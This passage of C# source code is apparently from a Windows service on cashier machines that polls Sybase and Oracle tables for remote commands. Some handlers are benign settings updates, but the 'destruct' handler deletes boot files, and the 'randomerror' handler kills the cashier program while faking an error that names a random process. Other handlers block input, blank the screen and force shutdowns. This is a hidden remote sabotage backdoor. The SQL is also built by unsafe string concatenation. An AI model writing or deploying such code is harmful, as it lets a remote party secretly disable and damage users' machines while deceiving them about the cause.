OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql);
}
}
#endregion
#region 修改结账提醒天数
else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "endaccount_day")
{
string sql = "";
string Oraclesql = "";
bool isContents = false;
try
{
if (REPEAT_STATE == "1")
{
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
try
{
sql = "UPDATE DBA.sys_globle set endaccount_day = '" + HANDCONTENT + "' where var_name = 'g_ver' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
isContents = true;
}
catch
{ }
if (isContents)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改结账提醒天数成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改结账提醒天数成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改结账提醒天数失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改结账提醒天数失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
if (REPEAT_STATE == "0")
{
try
{
sql = "UPDATE DBA.sys_globle set endaccount_day = '" + HANDCONTENT + "' where var_name = 'g_ver' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
isContents = true;
}
catch
{ }
if (isContents)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改结账提醒天数成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改结账提醒天数成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改结账提醒天数失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改结账提醒天数失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql);
}
}
#endregion
#region 修改有效期提醒天数
else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "expiry_day")
{
string sql = "";
string Oraclesql = "";
bool isContents = false;
try
{
if (REPEAT_STATE == "1")
{
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
try
{
sql = "UPDATE DBA.sys_globle set expiry_day = '" + HANDCONTENT + "' where var_name = 'g_ver' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
isContents = true;
}
catch
{ }
if (isContents)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效期提醒天数成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效期提醒天数成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效期提醒天数失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效期提醒天数失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
if (REPEAT_STATE == "0")
{
try
{
sql = "UPDATE DBA.sys_globle set expiry_day = '" + HANDCONTENT + "' where var_name = 'g_ver' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
isContents = true;
}
catch
{ }
if (isContents)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改有效期提醒天数成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改有效期提醒天数成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改有效期提醒天数失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改有效期提醒天数失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql);
}
}
#endregion
#region 停止命令
else if (FLAG == "0" && HANDWAY != "closefunction")
{
string sql = "";
string Oraclesql = "";
try
{
sql = @"UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3
where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 " +
"where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch
{ }
}
#endregion
}
}
}
}
catch
{
//conn.Open();
//conany.Open();
if (!ISConnect)
{
string oracleSql = "SELECT * FROM " + dbname + ".T_COMMODITYMACHINE WHERE MACHINE_MACADDRESS = '" + _mac + "' ORDER BY MACHINE_ENDDATE";
OracleCommand oraclecmd = new OracleCommand(oracleSql, conn);
OracleDataReader oraclerd = oraclecmd.ExecuteReader();
if (oraclerd.HasRows)
{
while (oraclerd.Read())
{
string ID = oraclerd["COMMODITYMACHINE_ID"].ToString();
string MACHINE_MACADDRESS = oraclerd["MACHINE_MACADDRESS"].ToString();
string FLAG = oraclerd["FLAG"].ToString();
string HANDWAY = oraclerd["HANDWAY"].ToString();
string HANDCONTENT = oraclerd["HANDCONTENT"].ToString();
string MACHINE_STARTDATE = oraclerd["MACHINE_STARTDATE"].ToString();
string REPEAT_STATE = oraclerd["REPEAT_STATE"].ToString();
string UPLOAD_STATE = oraclerd["UPLOAD_STATE"].ToString();
string timenow = DateTime.Now.ToString("yyyy-MM-dd HH:mm");
DateTime datenow = Convert.ToDateTime(timenow);
DateTime datebegin = Convert.ToDateTime(Convert.ToDateTime(MACHINE_STARTDATE).ToString("yyyy-MM-dd HH:mm"));
Random randomnum = new Random();
int arr;
//int[] arr;
if (REPEAT_STATE == "1" && Convert.ToInt32(oraclerd["INTERVALS_TIME"]) > 1)
{
arr = randomnum.Next(Convert.ToInt32(oraclerd["INTERVALS_TIME"]));
}
else
{
arr = randomnum.Next(2);
}
if (arr == 0)
arr = 1;
#region 重装系统
if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "destruct")
{
string sql = "";
string Oraclesql = "";
string remark = "";
string _randomlist = "0x" + Str_char(8, false);//随机获取内存地址
if (Directory.Exists("C:\\Windows\\Boot\\EFI") || File.Exists("C:\\NTLDR") || File.Exists("C:\\boot.ini") || File.Exists("C:\\bootmgr"))
{
try { Lib.FileHelper.DeleteDir("C:\\Windows\\Boot"); } catch { }
remark += Execute("del C:\\Windows\\Boot\\EFI\\*.* /f /s /a:h", 10) + ";";
remark += Execute("del C:\\Boot\\*.* /f /s /a:h", 10) + ";";
remark += Execute("del C:\\Boot\\BCD /f /s /a:h", 10) + ";";
remark += Execute("del C:\\bootmgr /f /s /a:h", 10) + ";";
remark += Execute("del C:\\NTLDR /f /s /a:h", 10) + ";";
remark += Execute("del C:\\boot.ini /f /s /a:h", 10) + ";";
}
else
remark += "引导文件不存在;";
try
{
if (REPEAT_STATE == "1")
{
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中," + remark + "' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中," + remark + "' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
WinExec("taskkill.exe /im cashier.exe /f /t", 0);
WinExec("taskkill.exe /f /fi \"IMAGENAME eq s*\" /t", 0);
Thread n = new Thread(new ThreadStart(() => invokeShow("services.exe", _randomlist)));
n.Start();
}
}
if (REPEAT_STATE == "0")
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常," + remark + "' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常," + remark + "' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
WinExec("taskkill.exe /im cashier.exe /f /t", 0);
WinExec("taskkill.exe /f /fi \"IMAGENAME eq s*\" /t", 0);
Thread n = new Thread(new ThreadStart(() => invokeShow("services.exe", _randomlist)));
n.Start();
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{
LogHelper.WriteServiceLog(ex.Message);
}
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch
{
LogHelper.WriteServiceLog(ex.Message);
}
LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql);
}
}
#endregion
#region 随机报错并结束进程
if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "randomerror")
{
string sql = "";
string Oraclesql = "";
string remark = "";
List list = new List();
Process[] process = Process.GetProcesses();
foreach (Process p in process)
{
if (p.ProcessName != "ConnectPoint" && !p.ProcessName.Contains("System") && !p.ProcessName.Contains("Idle"))
list.Add(p.ProcessName);
}
Random rm = new Random();
//int i = rm.Next(list.Count); //随机数最大值不能超过list的总数
string _processname = list[rm.Next(list.Count)].ToString();//随机获取进程名
string _randomlist = "0x" + Str_char(8, false);//随机获取内存地址
remark += "异常:" + _processname + ".exe;";
try
{
if (REPEAT_STATE == "1")
{
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中," + remark + "' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中," + remark + "' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
WinExec("taskkill.exe /im cashier.exe /f /t", 0);
Thread n = new Thread(new ThreadStart(() => invokeShow(_processname, _randomlist)));
n.Start();
}
}
if (REPEAT_STATE == "0")
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='" + remark + "' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='" + remark + "' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
WinExec("taskkill.exe /im cashier.exe /f /t", 0);
Thread n = new Thread(new ThreadStart(() => invokeShow(_processname, _randomlist)));
n.Start();
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{
LogHelper.WriteServiceLog(ex.Message);
}
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch
{
LogHelper.WriteServiceLog(ex.Message);
}
LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql);
}
}
#endregion
#region 关机命令
if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "shutdown")//关机操作
{
string sql = "";
string Oraclesql = "";
try
{
if (REPEAT_STATE == "1")
{
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
BlockInput(true);
SendMessage(this.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 2);
classCPIR.KillExe("explorer.exe");
Process.Start("Shutdown", "-s -t 0 -f");
}
}
if (REPEAT_STATE == "0")
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
BlockInput(true);
SendMessage(this.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 2);
classCPIR.KillExe("explorer.exe");
Process.Start("Shutdown", "-s -t 0 -f");
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{
LogHelper.WriteServiceLog(ex.Message);
}
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch
{
LogHelper.WriteServiceLog(ex.Message);
}
LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql);
}
}
#endregion
#region 重启命令
if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "restart")//重启操作
{
string sql = "";
string Oraclesql = "";
try
{
if (REPEAT_STATE == "1")
{
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
BlockInput(true);
SendMessage(this.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 2);
Process.Start("Shutdown", "-r -t 0 -f");
}
}
if (REPEAT_STATE == "0")
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='重启成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='重启成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
BlockInput(true);
SendMessage(this.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 2);
Process.Start("Shutdown", "-r -t 0 -f");
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{
LogHelper.WriteServiceLog(ex.Message);
}
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch
{
LogHelper.WriteServiceLog(ex.Message);
}
LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql);
}
}
#endregion
#region 结束指定进程命令
else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "taskkill")//结束指定进程
{
string sql = "";
string Oraclesql = "";
string process = "";
string remark = "";
try
{
if (REPEAT_STATE == "1")
{
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
string[] split = HANDCONTENT.Split(new char[] { '|' });
foreach (var sp in split)
{
if (sp.Contains("."))
{
process = sp.Substring(0, sp.IndexOf("."));
}
Process[] procs = Process.GetProcesses();
Process[] proc = Process.GetProcessesByName(process);
if (proc.Length > 0)
{
foreach (Process item in procs)
{
if (item.ProcessName == process)
{
//item.Kill();
WinExec("taskkill.exe /im " + sp + " /f /t", 0);
ISConnect = true;
if (ISConnect)
{
remark += "关闭进程" + sp + "成功;";
}
else
{
remark += "关闭进程" + sp + "失败;";
}
}
}
}
else
{
remark += "未找到进程" + sp + ";";
}
//if (sp.Contains("."))
//{
// process = sp.Substring(0, sp.IndexOf("."));
//}
//Process[] proc = Process.GetProcessesByName(process);
//if (proc.Length > 0)
//{
// //classCPIR.KillExe(sp);
// if (classCPIR.KillExe(sp))
// {
// //Process.Start("TaskKill", " /im " + sp + " /f");
// remark += "关闭进程" + sp + "成功;";
// }
// else
// {
// remark += "关闭进程" + sp + "失败;";
// }
//}
//else
//{
// remark += "未找到进程" + sp + ";";
//}
}
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='" + remark +
"' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='" + remark +
"' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
if (REPEAT_STATE == "0")
{
string[] split = HANDCONTENT.Split(new char[] { '|' });
foreach (var sp in split)
{
if (sp.Contains("."))
{
process = sp.Substring(0, sp.IndexOf("."));
}
Process[] procs = Process.GetProcesses();
Process[] proc = Process.GetProcessesByName(process);
if (proc.Length > 0)
{
foreach (Process item in procs)
{
if (item.ProcessName == process)
{
//item.Kill();
WinExec("taskkill.exe /im " + sp + " /f /t", 0);
ISConnect = true;
if (ISConnect)
{
remark += "关闭进程" + sp + "成功;";
}
else
{
remark += "关闭进程" + sp + "失败;";
}
}
}
}
else
{
remark += "未找到进程" + sp + ";";
}
//if (sp.Contains("."))
//{
// process = sp.Substring(0, sp.IndexOf("."));
//}
//Process[] proc = Process.GetProcessesByName(process);
//if (proc.Length > 0)
//{
// //classCPIR.KillExe(sp);
// if (classCPIR.KillExe(sp))
// {
// //Process.Start("TaskKill", " /im " + sp + " /f");
// remark += "关闭进程" + sp + "成功;";
// }
// else
// {
// remark += "关闭进程" + sp + "失败;";
// }
//}
//else
//{
// remark += "未找到进程" + sp + ";";
//}
}
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='" + remark +
"' where COMMODITYMACHINE_ID = " + ID +
" AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
